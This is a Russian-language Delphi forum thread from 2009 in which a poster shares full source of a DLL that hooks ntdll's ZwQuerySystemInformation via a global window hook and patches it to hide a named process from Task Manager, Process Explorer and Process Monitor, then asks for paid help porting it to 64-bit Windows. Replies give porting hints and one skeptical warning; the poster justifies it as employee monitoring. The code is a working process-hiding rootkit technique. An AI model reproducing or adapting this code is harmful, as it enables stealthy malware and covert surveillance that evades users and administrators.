| Новости | Поиск | FAQ | Статьи | Книги | Новости VCL | | Форумы ЧАТ | Орешник | KOL и MCK |
Форумы -» Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

	« предыдущая ветвь | форум | следующая ветвь »

перехват native api в 64bit Windows... [D7]

istok20 ©   (2009-06-24 00:48:00) 

есть у меня такая либа, которая скрывает любой процесс из диспетчера задач и других программ. проблема в том, что она не работает в 64битных виндах.  вопрос - как ее подружить с 64битными ОС Windows?


library prtct;

uses
 Windows,
 NativeAPI,
 ThreadStopper;

type
OldCode = packed record
 One: dword;
 two: word;
end;

far_jmp = packed record
 PuhsOp: byte;
 PushArg: pointer;
 RetOp: byte;
end;

var
 Hook: HHOOK;
 JmpZwq: far_jmp;
 OldZwq: OldCode;
 PtrZwq: pointer;
 FIsTM: Boolean;

Function TrueZwQuerySystemInformation(ASystemInformationClass: dword;
                                 ASystemInformation: Pointer;
                                 ASystemInformationLength: dword;
                                 AReturnLength: PCardinal): NTStatus; stdcall;
var
Written: dword;
begin
 WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,
                    @OldZwq, SizeOf(OldCode), Written);

 Result := ZwQuerySystemInformation(ASystemInformationClass,
                                    ASystemInformation,
                                    ASystemInformationLength,
                                    AReturnLength);

 WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq,
                    @JmpZwq, SizeOf(far_jmp), Written);
end;

Function NewZwQuerySystemInformation(ASystemInformationClass: dword;
                                 ASystemInformation: Pointer;
                                 ASystemInformationLength: dword;
                                 AReturnLength: PCardinal): NTStatus; stdcall;
var
 Info, Prev: PSYSTEM_PROCESSES;
begin
 Result := TrueZwQuerySystemInformation(ASystemInformationClass,
                                       ASystemInformation,
                                       ASystemInformationLength,
                                       AReturnLength);

 if (ASystemInformationClass = SystemProcessesAndThreadsInformation) and
   (Result = STATUS_SUCCESS) then
 begin
   Prev := ASystemInformation;
   Info := ASystemInformation;
   while Info^.NextEntryDelta 0 do
   begin
     Info := Pointer(dword(Info) + Info^.NextEntryDelta);
     if (lstrcmpiw(Info^.ProcessName.Buffer, 'myprogram.exe') = 0)  then
     begin
       if Info^.NextEntryDelta = 0 then
         Prev^.NextEntryDelta := 0
       else
         Prev^.NextEntryDelta := Prev^.NextEntryDelta + Info^.NextEntryDelta;
     end
     else
       Prev := Info;
   end;
 end;
end;

function IsTM: Boolean;
var
 WndFound: Boolean;
 rslt: boolean;

 function AnalyzeWnd(CurHandle: THandle; CurrentProcessId: LParam): Boolean; stdcall;
 var
   WndProcId: Cardinal;
   Buffer : array[0..255] of Char;
 begin
   Result := True;
   GetWindowThreadProcessId(CurHandle, WndProcId);

   if LParam(WndProcId) = CurrentProcessId then
   begin
     FillChar(Buffer, 256, 0);
     GetClassName(CurHandle, @Buffer[0], 255);

     if (Buffer = '#32770') or (Buffer = 'PROCEXPL') or (Buffer = 'PROCMON_WINDOW_CLASS') then
     begin
       WndFound := True;
       //ïðåêðàùàåì Enum
       Result := False;
     end;  
   end;
 end;

begin

 WndFound := False;
 rslt := EnumWindows(@AnalyzeWnd, GetCurrentProcessId);
 Result := not rslt;
end;

type
TWriteProcessMemory = function (hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer;
 nSize: DWORD; var lpNumberOfBytesWritten: DWORD): BOOL; StdCall;

procedure WriteProcessMemory2(hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer;
 nSize: DWORD; var lpNumberOfBytesWritten: DWORD);
var
LibHandle  : THandle;
RunWriteProcessMemory: TWriteProcessMemory;
begin
// Attempt to load the DLL
LibHandle := LoadLibrary('KERNEL32.DLL');
try
 // If the load failed, LibHandle will be zero.
 // If this occurs, raise an exception.
 if LibHandle = 0 then Exit;
//   raise EDLLLoadError.Create('Unable to Load DLL');
 // If the code makes it here, the DLL loaded successfully; now obtain
 // the link to the DLL's exported function so that it can be called.
 @RunWriteProcessMemory := GetProcAddress(LibHandle, 'WriteProcessMemory');
 // If the function is imported successfully, then set
 // lblDate.Caption to reflect the returned date from
 // the function. Otherwise, show the return raise an exception.
 if not (@RunWriteProcessMemory = nil) then
  RunWriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, lpNumberOfBytesWritten)
//  else
//   RaiseLastWin32Error;
finally
 FreeLibrary(LibHandle); // Unload the DLL.
end;
end;

Procedure SetHook();
var
Bytes: dword;
begin
 PtrZwq  := GetProcAddress(GetModuleHandle('ntdll.dll'), 'ZwQuerySystemInformation');
 ReadProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes);
 JmpZwq.PuhsOp  := $68;
 JmpZwq.PushArg := @NewZwQuerySystemInformation;
 JmpZwq.RetOp   := $C3;
 WriteProcessMemory2(INVALID_HANDLE_VALUE, PtrZwq, @JmpZwq, SizeOf(far_jmp), Bytes);
end;

Procedure Unhook();
var
Bytes: dword;
begin
 WriteProcessMemory(INVALID_HANDLE_VALUE, PtrZwq, @OldZwq, SizeOf(OldCode), Bytes);
end;

function MessageProc(code : integer; wParam : longint; lParam : longint) : longint; stdcall; export;
begin
 Result := CallNextHookEx(0, Code, wParam, lparam);
end;

procedure DLLEntryPoint(dwReason: DWord);
begin
 if not FIsTM then Exit;
 case dwReason of
   DLL_PROCESS_ATTACH: begin
                         //SetGlobalHook();
                         StopThreads;
                         SetHook();
                         RunThreads;
                       end;
   DLL_PROCESS_DETACH: begin
                         StopThreads;
                         Unhook();
                         RunThreads;
                       end;
 end;
end;

procedure GlobalHook; export;
begin
 Hook:=SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0);
end;

procedure GlobalUnhook;export;
begin
 UnhookWindowsHookEx(Hook);
end;

exports
 GlobalHook, GlobalUnhook;

begin
 FIsTM := IsTM;
 DllProc := @DLLEntryPoint;
 DLLEntryPoint(DLL_PROCESS_ATTACH);
end.


---

istok20   (2009-12-01 13:01:00) [1]

> Anatoly Podgoretsky ©   (01.12.09 08:55) [9]
> > istok20  (30.11.2009 20:17:08)  [8]
>
> Административны задачи наиболее эффективно решаются административными
> методами.


они их решают и административно тоже, но очень хотят чтобы сотрудник не имел возможности "мухлевать" и отключать процессы приложения..

я понимаю, что здесь есть доля паранойи, но моё дело сделать и продать то, на что есть спрос, а не переубеждать клиента)

вобщем, если у кого есть идеи как это сделать, пишите на alex_for_chat@mail.ru, договоримся.

спасибо.

---

Anatoly Podgoretsky   (2009-12-01 08:55:00) [2]

> istok20  (30.11.2009 20:17:08)  [8]

Административны задачи наиболее эффективно решаются административными методами.

---

istok20   (2009-11-30 20:17:00) [3]

> Игорь Шевченко ©   (30.11.09 19:45) [7]


это реквест клиента, чьи сотрудники работают на компьютерах, являющихся собственностью компании. более того, сотрудники об этих процессах знают. так что ничего криминального)

---

Игорь Шевченко   (2009-11-30 19:45:00) [4]

> есть у меня такая либа, которая скрывает любой процесс из
> диспетчера задач


Тайное всегда становится явным. Найдут и больно надерут ремнем.

---

istok20   (2009-11-30 18:29:00) [5]

угу, перевели в FreePascal, компилит (в lazarus), грузит, но там очевидно надо править start\stop threads и writetoprocessmemory под 64бита,

буду рад если кто-то отклинется пофиксить (или переписать в любой другой среде) код за оплату.

можете писать сюда - alex_for_chat@mail.ru - вышлю тестовый проект.

спасибо

---

DVM   (2009-06-24 19:45:00) [6]

> и в delphi как-то реально под 64бита скомпилить?

FreePascal может

---

brother   (2009-06-24 14:17:00) [7]

> под 64бита скомпилить?

я говорил о переписать)

---

istok20   (2009-06-24 12:57:00) [8]

> переписать под x64?

это только из-под VisualStudio или и в delphi как-то реально под 64бита скомпилить?

---

Игорь   (2009-06-24 09:24:00) [9]

Копай сюда

http://msdn.microsoft.com/en-us/library/aa384249(VS.85).aspx

---

brother   (2009-06-24 05:40:00) [10]

переписать под x64?

---

Наверх